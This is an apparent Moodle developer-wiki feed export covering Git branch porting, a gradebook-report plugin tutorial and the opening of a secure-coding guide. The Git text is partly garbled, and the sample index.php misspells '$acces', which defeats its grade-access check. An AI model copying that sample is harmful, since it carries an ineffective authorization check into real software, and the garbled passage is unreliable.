Let us have two local Git repositories ~/public_html/moodle21 containing local installation of Moodle 2.1 and ~/public_html/moodledev with the local installation of most recent development version of Moodle. They both use your public repository at github.com as the origin. You have a branch in moodle21 called MDL-xxxx-topic_21_STABLE that was forked off MOODLE_21_STABLE. It contains one commit. Now you want to re-apply this commit to a branch MDL-xxxx-topic in moodledev.&lt;br /&gt;
&lt;br /&gt;
    cd ~/public_html/moodledev&lt;br /&gt;
    git checkout -b MDL-xxxx-topic origin/master            (1)&lt;br /&gt;
    git fetch ../moodle21 MDL-xxxx-topic_21_STABLE          (2)&lt;br /&gt;
    git cherry-pick FETCH_HEAD                              (3)&lt;br /&gt;
&lt;br /&gt;
The command (1) creates new local branch forked off the CONTHERE The command (1) fetches all data needed to re-apply the topic branch and stores the pointer to the tip of that branch to FETCH_HEAD symbolic reference. The command (2) picks the tip of the branch (the top-most commit on it) and tries to apply it on the current branch. There is also a variant of the cherry-pick command that supports multiple commits (see its man page for details) but we will use another approach for that situation.&lt;br /&gt;
&lt;br /&gt;
=== Applying a set of patches ===&lt;br /&gt;
&lt;br /&gt;
If the branch MDL-xxxx-topic_21_STABLE from the previous example consists of several commits, it may be easier to use git-format-patch and git-am combo to re-apply the whole set of patches (aka patchset). Firstly you will export all commits from the topic branch to files.&lt;br /&gt;
&lt;br /&gt;
    cd ~/public_html/moodle21&lt;br /&gt;
    mkdir .patches&lt;br /&gt;
    git format-patch -o .patches MOODLE_21_STABLE..MDL-xxxx-topic_21_STABLE         (1)&lt;br /&gt;
&lt;br /&gt;
The command (1) takes all commits from the topic branch that are not in MOODLE_21_STABLE and exports them one by one to the output directory .patches. Look at the generated files. They contain the patch itself (in diff format) and additional information about the commit. You could eg send these files by email to a friend of yours for peer-review. We will use them in another repository.&lt;br /&gt;
&lt;br /&gt;
    cd ~/public_html/moodledev&lt;br /&gt;
    git checkout -b MDL-xxxx-topic origin/master&lt;br /&gt;
    git am -3 ../moodle21/.patches/*                        (1)&lt;br /&gt;
&lt;br /&gt;
The command (1) applies all the files from the .patches directory. When a patch does not apply cleanly, the command tries fall back on 3-way merge (see the -3 parameter). If conflicts occur during the procedure, you can either deal with them and then use `git am --continue` or abort the whole procedure with `git am --abort`.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
&lt;br /&gt;
; Moodle forum discussions&lt;br /&gt;
* [http://moodle.org/mod/forum/discuss.php?d=168094 GIT help needed]&lt;br /&gt;
* [http://moodle.org/mod/forum/discuss.php?d=165236 Best way to manage CONTRIB code with GIT]&lt;br /&gt;
* [http://moodle.org/mod/forum/discuss.php?d=167063 Handy Git tip for tracking 3rd-party modules and plugins]&lt;br /&gt;
* [http://moodle.org/mod/forum/discuss.php?d=167730 Moodle Git repositories]&lt;br /&gt;
* [http://moodle.org/mod/forum/discuss.php?d=183409 Git help!! I don&#039;t understand rebase enough...]&lt;br /&gt;
&lt;br /&gt;
; External resources &lt;br /&gt;
* [http://www.kernel.org/pub/software/scm/git/docs/everyday.html Everyday GIT With 20 Commands Or So]&lt;br /&gt;
* [http://gitref.org/ Git Reference]&lt;br /&gt;
* [http://progit.org/book/ Pro Git book]&lt;br /&gt;
* [http://blip.tv/scott-chacon/git-talk-4113729 Getting git by Scott Chacon] - an recording of an excellent 1-hour presentation that introducing git, including a simple introduction to what is going on under the hood.&lt;br /&gt;
&lt;br /&gt;
[[Category:Git]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発者用Git]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Gradebook_reports&amp;diff=6925</id>
		<title>Gradebook reports</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Gradebook_reports&amp;diff=6925"/>
		<updated>2010-11-11T16:59:20Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
One of the great features of the new gradebook implementation in Moodle 1.9 is the support for plug-in reports. A few reports are already included in the release, but it is fast and easy to create new reports of any kind.&lt;br /&gt;
&lt;br /&gt;
This page is a small tutorial on how to create a new report for the Moodle gradebook. The first section highlights the basic setup steps, the bare minimum to get your plug-in detected and usable. The second section gives an example of a possible implementation, although you are free to develop outside of these suggestions.&lt;br /&gt;
&lt;br /&gt;
The simplest example report to look at while following this guide is &#039;&#039;&#039;grade/report/overview&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Bare minimum ==&lt;br /&gt;
&lt;br /&gt;
These steps all involve creating new files, but in all cases they can be copy-pasted from existing reports, to make your life easier.&lt;br /&gt;
&lt;br /&gt;
1. Create a new folder under grade/report &lt;br /&gt;
    grade/report/[newreport]&lt;br /&gt;
2. Create a /db sub-folder under the new report folder &lt;br /&gt;
    grade/report/[newreport]/db&lt;br /&gt;
3. Create an access.php file in the db folder with the following content. You should change the capabilities as needed.&lt;br /&gt;
    grade/report/[newreport]/db/access.php&lt;br /&gt;
  &lt;br /&gt;
    &amp;lt;?php&lt;br /&gt;
    $gradereport_[newreport]_capabilities = array(&lt;br /&gt;
        &#039;gradereport/[newreport]:view&#039; =&amp;gt; array(&lt;br /&gt;
            &#039;riskbitmask&#039; =&amp;gt; RISK_PERSONAL,&lt;br /&gt;
            &#039;captype&#039; =&amp;gt; &#039;read&#039;,&lt;br /&gt;
            &#039;contextlevel&#039; =&amp;gt; CONTEXT_COURSE,&lt;br /&gt;
            &#039;legacy&#039; =&amp;gt; array(&lt;br /&gt;
                &#039;student&#039; =&amp;gt; CAP_ALLOW,&lt;br /&gt;
                &#039;teacher&#039; =&amp;gt; CAP_ALLOW,&lt;br /&gt;
                &#039;editingteacher&#039; =&amp;gt; CAP_ALLOW,&lt;br /&gt;
                &#039;admin&#039; =&amp;gt; CAP_ALLOW&lt;br /&gt;
            )&lt;br /&gt;
        ),&lt;br /&gt;
    );&lt;br /&gt;
    ?&amp;gt;&lt;br /&gt;
4. Create a version.php file with the current dates:&lt;br /&gt;
    grade/report/[newreport]/version.php&lt;br /&gt;
    &amp;lt;?php&lt;br /&gt;
    $plugin-&amp;gt;version  = 2007081000;&lt;br /&gt;
    $plugin-&amp;gt;requires = 2007081000;&lt;br /&gt;
    ?&amp;gt;&lt;br /&gt;
5.Create an index.php&lt;br /&gt;
    grade/report/[newreport]/index.php&lt;br /&gt;
6.Create a language file for your report. Include at least the modulename, and optionally the strings for different capabilities. &lt;br /&gt;
    grade/report/[newreport]/lang/en_utf8/gradereport_[newreport].php&lt;br /&gt;
    &lt;br /&gt;
    Example from user report here:&lt;br /&gt;
    &lt;br /&gt;
    $string[&#039;modulename&#039;] = &#039;User report&#039;;&lt;br /&gt;
    $string[&#039;user:view&#039;] = &#039;View your own grade report&#039;;&lt;br /&gt;
&lt;br /&gt;
You do not need to create a new link to your report, it will be automatically detected and added to the gradebook plugin drop-down menu, if you&#039;ve followed all these steps!&lt;br /&gt;
&lt;br /&gt;
This is all you need to do to create a new report! Now, of course, you&#039;ll want the code to actually DO something, usually fetch and display some data. The next section discusses one easy approach using flexitable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Possible step 7 ==&lt;br /&gt;
&lt;br /&gt;
I also needed to include the &#039;&#039;&#039;settings.php&#039;&#039;&#039; file in my new &#039;&#039;grade\report\[directory name]&#039;&#039; directory.  If the file was not present, i received this error &#039;&#039;&#039;&amp;quot;Section Error!&amp;quot;&#039;&#039;&#039;.  Once i added the file to the grade\report\[directory name] directory, it corrected.  The settings.php file is empty.  I am using Moodle 1.9.&lt;br /&gt;
&lt;br /&gt;
== Possible step 8 ==&lt;br /&gt;
&lt;br /&gt;
If the report is made available to multiple users you may need to update the tables by going to the admin section of your Moodle installation, just like when you are upgrading. Then go the the define roles and make sure that your permissions are set correct. I&#039;m using Moodle 1.9&lt;br /&gt;
&lt;br /&gt;
== Extending the grade_report class == &lt;br /&gt;
 &lt;br /&gt;
You are free to develop that class any way you want, but by using the existing methods set up in grade_report, you can avoid tedious repetition of code. We use flexitable for simple reports, as you can see in the user report (grade_report_user class).    The rest of this tutorial will follow the path of flexitable.&lt;br /&gt;
&lt;br /&gt;
=== New file ===&lt;br /&gt;
#Create a lib.php file (or copy it from other report).&lt;br /&gt;
    grade/report/[newreport]/lib.php&lt;br /&gt;
&lt;br /&gt;
#The lib.php contains an extension of the grade_report class, and should be named&lt;br /&gt;
    grade_report_[newreport]&lt;br /&gt;
&lt;br /&gt;
=== Grade_report class variables ===&lt;br /&gt;
The grade_report class makes the following variables available to your new class, if you use its constructor in your child class&#039; constructor:&lt;br /&gt;
    &lt;br /&gt;
; courseid       : Required by constructor&lt;br /&gt;
; gpr            : Grade plugin return tracking object, required by constructor&lt;br /&gt;
; context        : Required by constructor&lt;br /&gt;
; gtree          : The grade_tree must be instantiated in child classes: not all reports need the whole tree&lt;br /&gt;
; prefs          : Array of user preferences related to this report. Methods are given to get and set these easily&lt;br /&gt;
; gradebookroles : The roles for this report, pulled out of $CFG-&amp;gt;gradebookroles&lt;br /&gt;
; baseurl        : Base url for sorting by first/last name (not needed by all reports)&lt;br /&gt;
; pbarurl        : Base url for paging&lt;br /&gt;
; page           : Current page (for paging). Must be given to constructor if paging is required.&lt;br /&gt;
; lang_strings   : Array of cached language strings (using get_string() all the time                           takes a long time!). A method is provided to replace get_string() and use this cache    &lt;br /&gt;
; currentgroup   : The current group being displayed.&lt;br /&gt;
; group_selector : A HTML select element used to select the current group.&lt;br /&gt;
; groupsql       : An SQL fragment used to add linking information to the group tables.&lt;br /&gt;
; groupwheresql  : An SQL constraint to append to the queries used by this object to build the report.&lt;br /&gt;
&lt;br /&gt;
=== Grade_report class methods === &lt;br /&gt;
&lt;br /&gt;
The grade_report class has the following methods which you can use, provided the right steps have been taken to initialise the object first:&lt;br /&gt;
; get_pref()            : Given the name of a user preference (without grade_report_ prefix), locally saves then returns the value of that preference. If the preference has already been fetched before, the saved value is returned. If the preference is not set at the User level, the $CFG equivalent is given (site default).&lt;br /&gt;
; set_pref()            : Uses set_user_preferences() to update the value of a user preference. If &#039;default&#039; is given as the value, the preference will be removed in favour of a higher-level preference ($CFG-&amp;gt;$pref_name usually)&lt;br /&gt;
; process_data()        : Abstract method, needs to be implemented by child classes if they want to handle user form submissions on the report they want to handle user actions on the report                                  &lt;br /&gt;
; process_action()      : Abstract method, needs to be implemented by child classes if they want to handle user actions on the report&lt;br /&gt;
; get_grade_clean()     : format grade using lang specific decimal point and thousand separator the result is suitable for printing on html page&lt;br /&gt;
; format_grade()        : Given a user input grade, format it to standard format i.e. no thousand separator, and . as decimal point&lt;br /&gt;
; get_lang_string()     : First checks the cached language strings, then returns match if found, or uses get_string(). Use this for any lang_strings in the grades.php file.&lt;br /&gt;
; grade_to_percentage() : Computes then returns the percentage value of the grade value within the given range.&lt;br /&gt;
; get_grade_letters()   : Fetches and returns an array of grade letters indexed by their grade boundaries, as stored in preferences.&lt;br /&gt;
; get_numusers()        : Fetches and returns a count of all the users that will be shown on this page.&lt;br /&gt;
; setup_groups()        : Sets up this object&#039;s group variables, mainly to restrict the selection of users to display.&lt;br /&gt;
; get_sort_arrow()      : Returns an arrow icon inside an &amp;lt;a&amp;gt; tag, for the purpose of sorting a column.&lt;br /&gt;
; get_module_link()     : Builds and returns a HTML link to the grade or view page of the module given. If no itemmodule is given, only the name of the category/item is returned, no link.&lt;br /&gt;
&lt;br /&gt;
=== Report child class ===&lt;br /&gt;
&lt;br /&gt;
Assuming you are using flexitable, your child class needs the following variable and methods:&lt;br /&gt;
    $table : The flexitable that will hold the data&lt;br /&gt;
    &lt;br /&gt;
*grade_report_[newreport]() : Constructor. You can set up anything here, but you must call the parent constructor with the 3 required params:&lt;br /&gt;
        parent::grade_report($COURSE-&amp;gt;id, $gpr, $context);&lt;br /&gt;
        The $gpr and $context variables are normally set up in grade/report/[newreport]/index.php&lt;br /&gt;
    &lt;br /&gt;
*setup_table() : Prepares the headers and attributes of the flexitable. Example used for the very simple overview report:&lt;br /&gt;
        // setting up table headers&lt;br /&gt;
        $tablecolumns = array(&#039;coursename&#039;, &#039;grade&#039;, &#039;rank&#039;);&lt;br /&gt;
        $tableheaders = array($this-&amp;gt;get_lang_string(&#039;coursename&#039;, &#039;grades&#039;),&lt;br /&gt;
                              $this-&amp;gt;get_lang_string(&#039;grade&#039;),&lt;br /&gt;
                              $this-&amp;gt;get_lang_string(&#039;rank&#039;, &#039;grades&#039;));&lt;br /&gt;
 &lt;br /&gt;
        $this-&amp;gt;table = new flexible_table(&#039;grade-report-overview-&#039;.$this-&amp;gt;user-&amp;gt;id);&lt;br /&gt;
 &lt;br /&gt;
        $this-&amp;gt;table-&amp;gt;define_columns($tablecolumns);&lt;br /&gt;
        $this-&amp;gt;table-&amp;gt;define_headers($tableheaders);&lt;br /&gt;
        $this-&amp;gt;table-&amp;gt;define_baseurl($this-&amp;gt;baseurl);&lt;br /&gt;
 &lt;br /&gt;
        $this-&amp;gt;table-&amp;gt;set_attribute(&#039;cellspacing&#039;, &#039;0&#039;);&lt;br /&gt;
        $this-&amp;gt;table-&amp;gt;set_attribute(&#039;id&#039;, &#039;overview-grade&#039;);&lt;br /&gt;
        $this-&amp;gt;table-&amp;gt;set_attribute(&#039;class&#039;, &#039;boxaligncenter generaltable&#039;);&lt;br /&gt;
 &lt;br /&gt;
        $this-&amp;gt;table-&amp;gt;setup();&lt;br /&gt;
     &lt;br /&gt;
*fill_table() : After setup_table(), gathers and enters the data in the table. Again, from the overview report:&lt;br /&gt;
        global $CFG;&lt;br /&gt;
        $numusers = $this-&amp;gt;get_numusers();&lt;br /&gt;
 &lt;br /&gt;
        if ($courses = get_courses(&#039;all&#039;, null, &#039;c.id, c.shortname&#039;)) {&lt;br /&gt;
            foreach ($courses as $course) {&lt;br /&gt;
                // Get course grade_item&lt;br /&gt;
                $grade_item_id = get_field(&#039;grade_items&#039;, &#039;id&#039;, &#039;itemtype&#039;, &lt;br /&gt;
                                           &#039;course&#039;, &#039;courseid&#039;, $course-&amp;gt;id);&lt;br /&gt;
 &lt;br /&gt;
                // Get the grade&lt;br /&gt;
                $finalgrade = get_field(&#039;grade_grades&#039;, &#039;finalgrade&#039;, &#039;itemid&#039;, &lt;br /&gt;
                                        $grade_item_id, &#039;userid&#039;, $this-&amp;gt;user-&amp;gt;id);&lt;br /&gt;
 &lt;br /&gt;
                /// prints rank&lt;br /&gt;
                if ($finalgrade) {&lt;br /&gt;
                    /// find the number of users with a higher grade&lt;br /&gt;
                    $sql = &amp;quot;SELECT COUNT(DISTINCT(userid))&lt;br /&gt;
                            FROM {$CFG-&amp;gt;prefix}grade_grades&lt;br /&gt;
                            WHERE finalgrade &amp;gt; $finalgrade&lt;br /&gt;
                            AND itemid = $grade_item_id&amp;quot;;&lt;br /&gt;
                    $rank = count_records_sql($sql) + 1;&lt;br /&gt;
 &lt;br /&gt;
                    $rankdata = &amp;quot;$rank/$numusers&amp;quot;;&lt;br /&gt;
                } else {&lt;br /&gt;
                    // no grade, no rank&lt;br /&gt;
                    $rankdata = &amp;quot;-&amp;quot;;&lt;br /&gt;
                }&lt;br /&gt;
 &lt;br /&gt;
                $this-&amp;gt;table-&amp;gt;add_data(array($course-&amp;gt;shortname, $finalgrade, $rankdata));&lt;br /&gt;
            }&lt;br /&gt;
 &lt;br /&gt;
            return true;&lt;br /&gt;
        } else {&lt;br /&gt;
            notify(get_string(&#039;nocourses&#039;, &#039;grades&#039;));&lt;br /&gt;
            return false;&lt;br /&gt;
        }&lt;br /&gt;
*print_table() : Just does what its name says...&lt;br /&gt;
        ob_start();&lt;br /&gt;
        $this-&amp;gt;table-&amp;gt;print_html();&lt;br /&gt;
        $html = ob_get_clean();&lt;br /&gt;
        if ($return) {&lt;br /&gt;
            return $html;&lt;br /&gt;
        } else {&lt;br /&gt;
            echo $html;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
*process_data() and process_action() : You can implement these two methods if you need to handle data and actions.&lt;br /&gt;
&lt;br /&gt;
=== Set up the index.php file ===&lt;br /&gt;
Here is the simple example from the overview report (grade/report/overview).&lt;br /&gt;
    &lt;br /&gt;
    require_once &#039;../../../config.php&#039;;&lt;br /&gt;
    require_once $CFG-&amp;gt;libdir.&#039;/gradelib.php&#039;;&lt;br /&gt;
    require_once $CFG-&amp;gt;dirroot.&#039;/grade/lib.php&#039;;&lt;br /&gt;
    require_once $CFG-&amp;gt;dirroot.&#039;/grade/report/overview/lib.php&#039;;&lt;br /&gt;
 &lt;br /&gt;
    $courseid = optional_param(&#039;id&#039;, $COURSE-&amp;gt;id, PARAM_INT);&lt;br /&gt;
    $userid   = optional_param(&#039;userid&#039;, $USER-&amp;gt;id, PARAM_INT);&lt;br /&gt;
 &lt;br /&gt;
    /// basic access checks&lt;br /&gt;
    if (!$course = get_record(&#039;course&#039;, &#039;id&#039;, $courseid)) {&lt;br /&gt;
        print_error(&#039;nocourseid&#039;);&lt;br /&gt;
    }&lt;br /&gt;
    require_login($course);&lt;br /&gt;
 &lt;br /&gt;
    if (!$user = get_complete_user_data(&#039;id&#039;, $userid)) {&lt;br /&gt;
        error(&amp;quot;Incorrect userid&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    $context     = get_context_instance(CONTEXT_COURSE, $course-&amp;gt;id);&lt;br /&gt;
    $usercontext = get_context_instance(CONTEXT_USER, $user-&amp;gt;id);&lt;br /&gt;
    require_capability(&#039;gradereport/overview:view&#039;, $context);&lt;br /&gt;
 &lt;br /&gt;
    $access = true;&lt;br /&gt;
    if (has_capability(&#039;moodle/grade:viewall&#039;, $context)) {&lt;br /&gt;
        //ok - can view all course grades&lt;br /&gt;
 &lt;br /&gt;
    } else if ($user-&amp;gt;id == $USER-&amp;gt;id and has_capability(&#039;moodle/grade:view&#039;, $context) and $course-&amp;gt;showgrades) {&lt;br /&gt;
        //ok - can view own grades&lt;br /&gt;
 &lt;br /&gt;
    } else if (has_capability(&#039;moodle/grade:viewall&#039;, $usercontext) and $course-&amp;gt;showgrades) {&lt;br /&gt;
        // ok - can view grades of this user- parent most probably&lt;br /&gt;
 &lt;br /&gt;
    } else {&lt;br /&gt;
        $acces = false;&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    /// return tracking object&lt;br /&gt;
    $gpr = new grade_plugin_return(array(&#039;type&#039;=&amp;gt;&#039;report&#039;, &#039;plugin&#039;=&amp;gt;&#039;overview&#039;, &#039;courseid&#039;=&amp;gt;$course-&amp;gt;id, &#039;userid&#039;=&amp;gt;$userid));&lt;br /&gt;
 &lt;br /&gt;
    /// last selected report session tracking&lt;br /&gt;
    if (!isset($USER-&amp;gt;grade_last_report)) {&lt;br /&gt;
        $USER-&amp;gt;grade_last_report = array();&lt;br /&gt;
    }&lt;br /&gt;
    $USER-&amp;gt;grade_last_report[$course-&amp;gt;id] = &#039;overview&#039;;&lt;br /&gt;
 &lt;br /&gt;
    /// Build navigation&lt;br /&gt;
    $strgrades  = get_string(&#039;grades&#039;);&lt;br /&gt;
    $reportname = get_string(&#039;modulename&#039;, &#039;gradereport_overview&#039;);&lt;br /&gt;
 &lt;br /&gt;
    $navigation = grade_build_nav(__FILE__, $reportname, $course-&amp;gt;id);&lt;br /&gt;
 &lt;br /&gt;
    /// Print header&lt;br /&gt;
    print_header_simple($strgrades.&#039;: &#039;.$reportname, &#039;: &#039;.$strgrades, $navigation,&lt;br /&gt;
                        &#039;&#039;, &#039;&#039;, true, &#039;&#039;, navmenu($course));&lt;br /&gt;
 &lt;br /&gt;
    /// Print the plugin selector at the top&lt;br /&gt;
    print_grade_plugin_selector($course-&amp;gt;id, &#039;report&#039;, &#039;overview&#039;);&lt;br /&gt;
 &lt;br /&gt;
    if ($access) {&lt;br /&gt;
 &lt;br /&gt;
        //first make sure we have proper final grades - this must be done before constructing of the grade tree&lt;br /&gt;
        grade_regrade_final_grades($course-&amp;gt;id);&lt;br /&gt;
 &lt;br /&gt;
        // Create a report instance&lt;br /&gt;
        $report = new grade_report_overview($userid, $gpr, $context);&lt;br /&gt;
 &lt;br /&gt;
        $gradetotal = 0;&lt;br /&gt;
        $gradesum = 0;&lt;br /&gt;
 &lt;br /&gt;
        // print the page&lt;br /&gt;
        print_heading(get_string(&#039;modulename&#039;, &#039;gradereport_overview&#039;). &#039; - &#039;.fullname($report-&amp;gt;user));&lt;br /&gt;
 &lt;br /&gt;
        if ($report-&amp;gt;fill_table()) {&lt;br /&gt;
            echo $report-&amp;gt;print_table(true);&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
    } else {&lt;br /&gt;
        // no access to grades!&lt;br /&gt;
        echo &amp;quot;Can not view grades.&amp;quot;; //TODO: localize&lt;br /&gt;
    }&lt;br /&gt;
    print_footer($course);&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
This short tutorial doesn&#039;t explain how to actually create a &#039;&#039;useful&#039;&#039; report. That part is essentially up to you, and there are no hard rules about how to do it. Instead, this tutorial explains how to setup a &amp;quot;stub&amp;quot; report, a basic framework with a set of tools and variables you can use to create a fully functional and essential report for your Moodle needs. Please share your report-building experiences and tribulations with the Moodle community through the forum.&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
&lt;br /&gt;
* [http://moodle.org/mod/forum/discuss.php?d=69223&amp;amp;mode=3 Gradebook Development ideas] forum discussion&lt;br /&gt;
* Using Moodle [http://moodle.org/mod/forum/discuss.php?d=51107 New gradebook for Moodle] forum discussion&lt;br /&gt;
* [[Grades]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Grades]]&lt;br /&gt;
[[Category:Grades]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:評定表レポートチュートリアル]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Security&amp;diff=13561</id>
		<title>Security</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Security&amp;diff=13561"/>
		<updated>2010-03-10T15:27:56Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page describes how to write secure Moodle code that is not vulnerable to anything that evil people my try to throw at it.&lt;br /&gt;
&lt;br /&gt;
The page is organised around the common types of security vulnerability. For each one, it explains&lt;br /&gt;
# what the danger is,&lt;br /&gt;
# how Moodle is designed to avoid the problem,&lt;br /&gt;
# what you need to do as a Moodle developer to keep your code secure, and&lt;br /&gt;
# what you can do as an administrator, to make your Moodle more secure.&lt;br /&gt;
The explanation of each vulnerability is on a separate page, linked to in the list below.&lt;br /&gt;
&lt;br /&gt;
This page also summarises all the key guidelines.&lt;br /&gt;
&lt;br /&gt;
==Security of web applications==&lt;br /&gt;
&lt;br /&gt;
===Secure web app requirements===&lt;br /&gt;
Some companies require maximum level of security for web applications. You can often see similar general recommendations:&lt;br /&gt;
* separate administration backend&lt;br /&gt;
* no sensitive information stored in web application&lt;br /&gt;
* communication has to be encrypted using SSL&lt;br /&gt;
* log all user actions&lt;br /&gt;
* server applications have to be completely separated&lt;br /&gt;
* no files uploaded by users on server&lt;br /&gt;
* no rich text entered by users on server (limited plain text only)&lt;br /&gt;
* validate user identity and actions via separate channel&lt;br /&gt;
* always keep every software up-to-date&lt;br /&gt;
* no 3rd party browser extensions recommended&lt;br /&gt;
* use only one web page, do not open multiple windows with different sites, close/open browser before and after using the secure app&lt;br /&gt;
&lt;br /&gt;
Web based banking systems are the best examples of these &#039;&#039;secure&#039;&#039; web applications. Security is the top most priority here, security incidents may cost money - either the customer, bank or insurance company, public image of the institution may be damaged too. Limiting factors may be cost of application development, maintenance, usability but also the cost of communication via the alternative channels.&lt;br /&gt;
&lt;br /&gt;
===Balanced security===&lt;br /&gt;
As you can see many web applications today violate the security design rules. For example web based mail system have to accept rich text messages with file attachments, mail massages often contain very sensitive information. In fact the Web 2.0 idea goes directly agains the security design rules, everybody is submitting content - only app designer/administrator should be adding trusted content.&lt;br /&gt;
&lt;br /&gt;
When designing web applications we have to find out what our users are supposed to be doing and then find some reasonable balance between features and security.&lt;br /&gt;
&lt;br /&gt;
==Moodle security design==&lt;br /&gt;
The security of web application depends on the intended use and features available for each type of user.&lt;br /&gt;
&lt;br /&gt;
===Types of users===&lt;br /&gt;
&lt;br /&gt;
====Administrators====&lt;br /&gt;
Administrators have following privileges:&lt;br /&gt;
* change all settings&lt;br /&gt;
* create courses&lt;br /&gt;
* access all courses&lt;br /&gt;
* modify language packs&lt;br /&gt;
* modify all users&lt;br /&gt;
&lt;br /&gt;
Indirectly administrators are allowed to execute shell and PHP code. Moodle administrators may be partially restricted by hardcoding settings in config.php. &lt;br /&gt;
Low level server administrators can not be restricted because they can read content of PHP files and may modify them.&lt;br /&gt;
&lt;br /&gt;
All administrators have to be fully trusted.&lt;br /&gt;
&lt;br /&gt;
====Teachers====&lt;br /&gt;
Teachers are usually creating course content, enrolling students and teaching. They usually need following privileges:&lt;br /&gt;
* upload files and submit html texts&lt;br /&gt;
* create and manage activities&lt;br /&gt;
* access student grades and other personal information&lt;br /&gt;
&lt;br /&gt;
Uploading of files with javascript, flash and other scripted is often considered to be a security risk. Unfortunately we can not remove these risks from teacher roles because even basic SCORM packages consist of html and javascript which needs to use user session.&lt;br /&gt;
&lt;br /&gt;
Browser trusts everything coming from one server, it does not know anything about our courses or origin of data. Once the file is uploaded to server it becomes part of the server application. It is not possible to differentiate between wanted and unwanted code stored on the server.&lt;br /&gt;
&lt;br /&gt;
All teachers with risky capabilities have to be trusted, it is not possible to give teacher access to students. In theory teachers may use XSS attacks to gain administrator access.&lt;br /&gt;
&lt;br /&gt;
Technically it would be possible to create system where teachers can not attack other users but it would prevent all javascript, flash, SCORM, java, html forms, SVG, etc. &lt;br /&gt;
&lt;br /&gt;
====Students====&lt;br /&gt;
Students are participating in courses, they are not trusted. Students need following privileges:&lt;br /&gt;
* post formatted text with inline images and attachments&lt;br /&gt;
* upload binary documents&lt;br /&gt;
&lt;br /&gt;
Uploaded files must not be opened directly in browser from the same server. Instead the files need to be served from different domain, or server has to force download of all files to local hard drive before opening them. Serving of untrusted files from different domain will be implemented in 2.0.&lt;br /&gt;
&lt;br /&gt;
All student submitted text has to be sanitised before printing the text on any page, this prevent XSS attacks on other users but at the same time prevents flash, javascript, SVG and all other HTML scripting. There are two types of html cleaning - less reliable blacklisting (KSES) and more robust whitelisting (HTML Purifier).&lt;br /&gt;
&lt;br /&gt;
====Guests====&lt;br /&gt;
For security reasons unregistered users can not be allowed to upload any files or submit any text that is stored in database. Guests could try to spam other users, exploit problems in html cleaning routines, abuse other vulnerabilities or try social engineering based attacks.&lt;br /&gt;
&lt;br /&gt;
Sites with enabled user sign-up  via email have to take extra care in order to prevent spamming and other types of attacks.&lt;br /&gt;
&lt;br /&gt;
===Capability risks===&lt;br /&gt;
&lt;br /&gt;
Moodle is very flexible system, administrators may define multiple roles. Each role is a set of capabilities defined at system level, roles may be modified via overrides at lower context levels. [[Risks]] are part of description of each capability, administrators have to make sure only trusted users get potentially dangerous capabilities.&lt;br /&gt;
&lt;br /&gt;
==Common types of security vulnerability==&lt;br /&gt;
&lt;br /&gt;
* [[Security:Unauthenticated access|Unauthenticated access]]&lt;br /&gt;
* [[Security:Unauthorised access|Unauthorised access]]&lt;br /&gt;
* [[Security:Cross-site_request_forgery|Cross-site request forgery]] (XSRF)&lt;br /&gt;
* [[Security:Cross-site scripting|Cross-site scripting]] (XSS)&lt;br /&gt;
* [[Security:SQL injection|SQL injection]]&lt;br /&gt;
* [[Security:Command-line injection|Command-line injection]]&lt;br /&gt;
* [[Security:Data-loss|Data-loss]]&lt;br /&gt;
* [[Security:Confidential information leakage|Confidential information leakage]]&lt;br /&gt;
* [[Security:Configuration information leakage|Configuration information leakage]]&lt;br /&gt;
* [[Security:Session fixation|Session fixation]]&lt;br /&gt;
* [[Security:Denial of service|Denial of service]]&lt;br /&gt;
* [[Security:Brute-forcing login|Brute-forcing login]]&lt;br /&gt;
* [[Security:Insecure configuration management|Insecure configuration management]]&lt;br /&gt;
* [[Security:Buffer overruns, and other platform weaknesses|Buffer overruns, and other platform weaknesses]]&lt;br /&gt;
* [[Security:Social engineering|Social engineering]]&lt;br /&gt;
&lt;br /&gt;
==Summary of the guidelines==&lt;br /&gt;
&lt;br /&gt;
===Authenticate the user===&lt;br /&gt;
&lt;br /&gt;
* With very few exceptions, every script should call &#039;&#039;&#039;require_login&#039;&#039;&#039; or &#039;&#039;&#039;require_course_login&#039;&#039;&#039; as near the start as possible.&lt;br /&gt;
&lt;br /&gt;
===Verify course and module access===&lt;br /&gt;
* all course areas have to be protected by &amp;quot;require_login&amp;quot; or &amp;quot;require_course_login&amp;quot; with correct $course parameter&lt;br /&gt;
* all module areas have to be protected by &amp;quot;require_login&amp;quot; or &amp;quot;require_course_login&amp;quot; with correct $course and $cm parameter&lt;br /&gt;
&lt;br /&gt;
===Check permissions===&lt;br /&gt;
&lt;br /&gt;
* Before allowing the user to see anything or do anything, call to &#039;&#039;&#039;has_capability&#039;&#039;&#039; or &#039;&#039;&#039;require_capability&#039;&#039;&#039;.&lt;br /&gt;
* Capabilities should be annotated with the appropriate &#039;&#039;&#039;[[Hardening_new_Roles_system#Basic_risks|risks]]&#039;&#039;&#039;.&lt;br /&gt;
* If appropriate, restrict what people can see according to &#039;&#039;&#039;groups&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t trust any input from users===&lt;br /&gt;
&lt;br /&gt;
